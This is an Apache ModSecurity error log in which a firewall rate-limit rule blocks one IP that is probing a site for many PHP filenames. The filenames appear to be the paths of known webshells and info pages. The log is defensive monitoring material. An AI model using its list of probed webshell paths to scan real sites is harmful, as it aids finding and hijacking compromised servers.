[Sat May 16 10:36:06.024666 2026] [:error] [pid 61411:tid 61436] [client 20.151.206.3:27553] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test1.php"] [unique_id "agfYFmVkiEwGnPL_dvHJEAAAAZc"]
[Sat May 16 10:36:06.439118 2026] [:error] [pid 5602:tid 5627] [client 20.151.206.3:27607] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "agfYFtzTTsu77r3UIskN-QAAARc"]
[Sat May 16 10:36:06.872276 2026] [:error] [pid 61463:tid 61476] [client 20.151.206.3:27539] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "agfYFjXdL1WU7nYXPmTZUAAAAcs"]
[Sat May 16 10:36:07.286850 2026] [:error] [pid 61463:tid 61471] [client 20.151.206.3:27468] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "agfYFzXdL1WU7nYXPmTZUQAAAcY"]
[Sat May 16 10:36:07.700156 2026] [:error] [pid 24979:tid 24985] [client 20.151.206.3:27603] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-mail.php"] [unique_id "agfYF7vSFUQiwLaOL2pjOgAAAMQ"]
[Sat May 16 10:36:08.117425 2026] [:error] [pid 24867:tid 24899] [client 20.151.206.3:27631] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agfYGCDgFLCgyKq-zmYJvgAAABI"]
[Sat May 16 10:36:08.529466 2026] [:error] [pid 5602:tid 5619] [client 20.151.206.3:27572] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agfYGNzTTsu77r3UIskN-gAAAQ8"]
[Sat May 16 10:36:08.948855 2026] [:error] [pid 62341:tid 62369] [client 20.151.206.3:27610] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agfYGKnvQ59ep-XG78iLfQAAApc"]
[Sat May 16 10:36:09.364510 2026] [:error] [pid 24869:tid 24928] [client 20.151.206.3:27527] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agfYGexo3FMprMltYl4iIwAAAFQ"]
[Sat May 16 10:36:09.781018 2026] [:error] [pid 62341:tid 62363] [client 20.151.206.3:27585] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agfYGanvQ59ep-XG78iLfgAAApE"]
[Sat May 16 10:36:10.197517 2026] [:error] [pid 62210:tid 62232] [client 20.151.206.3:27622] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agfYGsjHonCA4ORo40GwawAAAlQ"]
[Sat May 16 10:36:10.627570 2026] [:error] [pid 62341:tid 62366] [client 20.151.206.3:27543] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agfYGqnvQ59ep-XG78iLgQAAApQ"]
[Sat May 16 10:36:11.045639 2026] [:error] [pid 24979:tid 24983] [client 20.151.206.3:27594] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agfYG7vSFUQiwLaOL2pjPQAAAMI"]
[Sat May 16 10:36:11.463058 2026] [:error] [pid 24979:tid 25001] [client 20.151.206.3:27636] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "agfYG7vSFUQiwLaOL2pjQwAAANQ"]
[Sat May 16 10:36:11.897839 2026] [:error] [pid 61361:tid 61367] [client 20.151.206.3:27642] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "agfYG5Zojzbt3jGziNkGMgAAAUQ"]
[Sat May 16 10:36:12.309749 2026] [:error] [pid 61361:tid 61364] [client 20.151.206.3:27596] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "agfYHJZojzbt3jGziNkGMwAAAUE"]
[Sat May 16 10:36:12.728744 2026] [:error] [pid 61361:tid 61363] [client 20.151.206.3:27620] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "agfYHJZojzbt3jGziNkGNwAAAUA"]
[Sat May 16 10:36:13.160789 2026] [:error] [pid 61361:tid 61375] [client 20.151.206.3:27606] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agfYHZZojzbt3jGziNkGOgAAAUw"]
[Sat May 16 10:36:13.574515 2026] [:error] [pid 61361:tid 61369] [client 20.151.206.3:27458] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agfYHZZojzbt3jGziNkGPAAAAUY"]
[Sat May 16 10:36:13.989505 2026] [:error] [pid 61361:tid 61370] [client 20.151.206.3:27548] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agfYHZZojzbt3jGziNkGPgAAAUc"]
[Sat May 16 10:36:14.403639 2026] [:error] [pid 61361:tid 61372] [client 20.151.206.3:27134] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "agfYHpZojzbt3jGziNkGPwAAAUk"]
[Sat May 16 10:36:14.821617 2026] [:error] [pid 24874:tid 24947] [client 20.151.206.3:27549] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agfYHsiii6x3XidYGHHGyAAAAIw"]
[Sat May 16 10:36:15.237895 2026] [:error] [pid 61463:tid 61477] [client 20.151.206.3:27520] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agfYHzXdL1WU7nYXPmTZUwAAAcw"]
[Sat May 16 10:36:15.652320 2026] [:error] [pid 5602:tid 5615] [client 20.151.206.3:27611] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agfYH9zTTsu77r3UIskN_AAAAQs"]
[Sat May 16 10:36:16.070694 2026] [:error] [pid 5602:tid 5617] [client 20.151.206.3:27608] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agfYINzTTsu77r3UIskN_QAAAQ0"]
[Sat May 16 10:36:16.493257 2026] [:error] [pid 61411:tid 61417] [client 20.151.206.3:27640] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agfYIGVkiEwGnPL_dvHJFAAAAYQ"]
[Sat May 16 10:36:16.915097 2026] [:error] [pid 62341:tid 62356] [client 20.151.206.3:27526] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agfYIKnvQ59ep-XG78iLgwAAAoo"]
[Sat May 16 10:36:17.333344 2026] [:error] [pid 24867:tid 24881] [client 20.151.206.3:27533] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agfYISDgFLCgyKq-zmYJwAAAAAA"]
[Sat May 16 10:36:17.756119 2026] [:error] [pid 62341:tid 62353] [client 20.151.206.3:27522] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "agfYIanvQ59ep-XG78iLhQAAAoc"]
[Sat May 16 10:36:18.178805 2026] [:error] [pid 62210:tid 62227] [client 20.151.206.3:27560] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agfYIsjHonCA4ORo40GwbAAAAk8"]
[Sat May 16 10:36:18.596175 2026] [:error] [pid 61361:tid 61368] [client 20.151.206.3:27525] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agfYIpZojzbt3jGziNkGRQAAAUU"]
[Sat May 16 10:36:19.023796 2026] [:error] [pid 62341:tid 62365] [client 20.151.206.3:27627] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agfYI6nvQ59ep-XG78iLhgAAApM"]
[Sat May 16 10:36:19.438669 2026] [:error] [pid 62341:tid 62346] [client 20.151.206.3:27570] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/load.php"] [unique_id "agfYI6nvQ59ep-XG78iLhwAAAoA"]
[Sat May 16 10:36:19.865357 2026] [:error] [pid 62341:tid 62354] [client 20.151.206.3:27477] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "agfYI6nvQ59ep-XG78iLiAAAAog"]
[Sat May 16 10:36:20.281888 2026] [:error] [pid 62210:tid 62235] [client 20.151.206.3:27623] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "agfYJMjHonCA4ORo40GwbQAAAlc"]
[Sat May 16 10:36:20.697033 2026] [:error] [pid 5602:tid 5618] [client 20.151.206.3:27602] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "agfYJNzTTsu77r3UIskOAgAAAQ4"]
[Sat May 16 10:36:21.113463 2026] [:error] [pid 61361:tid 61375] [client 20.151.206.3:27580] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/166.php"] [unique_id "agfYJZZojzbt3jGziNkGRgAAAUw"]
[Sat May 16 10:36:21.526930 2026] [:error] [pid 24979:tid 24987] [client 20.151.206.3:27541] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agfYJbvSFUQiwLaOL2pjRgAAAMY"]
[Sat May 16 10:36:21.944320 2026] [:error] [pid 24979:tid 24997] [client 20.151.206.3:27561] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agfYJbvSFUQiwLaOL2pjRwAAANA"]
[Sat May 16 10:36:22.358857 2026] [:error] [pid 24869:tid 24927] [client 20.151.206.3:27534] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agfYJuxo3FMprMltYl4iJQAAAFM"]
[Sat May 16 10:36:22.773621 2026] [:error] [pid 62341:tid 62347] [client 20.151.206.3:27647] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "agfYJqnvQ59ep-XG78iLjQAAAoE"]
[Sat May 16 10:36:23.192493 2026] [:error] [pid 61463:tid 61484] [client 20.151.206.3:27573] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo/info.php"] [unique_id "agfYJzXdL1WU7nYXPmTZVgAAAdM"]
[Sat May 16 10:36:23.624213 2026] [:error] [pid 62210:tid 62236] [client 20.151.206.3:27633] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo/info.php"] [unique_id "agfYJ8jHonCA4ORo40GwbwAAAlg"]
[Sat May 16 10:36:24.045140 2026] [:error] [pid 24867:tid 24902] [client 20.151.206.3:27563] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo/info.php"] [unique_id "agfYKCDgFLCgyKq-zmYJwwAAABU"]
[Sat May 16 10:36:24.458834 2026] [:error] [pid 61463:tid 61479] [client 20.151.206.3:27567] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/phpinfo/info.php"] [unique_id "agfYKDXdL1WU7nYXPmTZVwAAAc4"]
[Sat May 16 10:36:24.878580 2026] [:error] [pid 24867:tid 24886] [client 20.151.206.3:27564] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agfYKCDgFLCgyKq-zmYJxAAAAAU"]
[Sat May 16 10:36:25.297107 2026] [:error] [pid 24867:tid 24896] [client 20.151.206.3:27523] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agfYKSDgFLCgyKq-zmYJxQAAAA8"]
[Sat May 16 10:36:25.718184 2026] [:error] [pid 61463:tid 61474] [client 20.151.206.3:27545] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agfYKTXdL1WU7nYXPmTZWAAAAck"]
[Sat May 16 10:36:26.132951 2026] [:error] [pid 24979:tid 24982] [client 20.151.206.3:27532] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the.php"] [unique_id "agfYKrvSFUQiwLaOL2pjSQAAAME"]
[Sat May 16 10:36:26.564762 2026] [:error] [pid 24867:tid 24890] [client 20.151.206.3:27530] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "agfYKiDgFLCgyKq-zmYJxwAAAAk"]
[Sat May 16 10:36:26.986069 2026] [:error] [pid 5602:tid 5612] [client 20.151.206.3:27459] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "agfYKtzTTsu77r3UIskOBAAAAQg"]
[Sat May 16 10:36:27.410065 2026] [:error] [pid 62210:tid 62217] [client 20.151.206.3:27540] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "agfYK8jHonCA4ORo40GwcAAAAkU"]
[Sat May 16 10:36:27.832599 2026] [:error] [pid 24867:tid 24885] [client 20.151.206.3:27528] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX2.php"] [unique_id "agfYKyDgFLCgyKq-zmYJyAAAAAQ"]
[Sat May 16 10:36:28.249705 2026] [:error] [pid 61361:tid 61385] [client 20.151.206.3:27574] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "agfYLJZojzbt3jGziNkGSAAAAVY"]
[Sat May 16 10:36:28.676474 2026] [:error] [pid 61361:tid 61377] [client 20.151.206.3:27616] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "agfYLJZojzbt3jGziNkGSQAAAU4"]
[Sat May 16 10:36:29.104063 2026] [:error] [pid 61361:tid 61374] [client 20.151.206.3:27076] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "agfYLZZojzbt3jGziNkGTAAAAUs"]
[Sat May 16 10:36:29.535092 2026] [:error] [pid 61361:tid 61371] [client 20.151.206.3:27521] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/profile.php"] [unique_id "agfYLZZojzbt3jGziNkGTQAAAUg"]
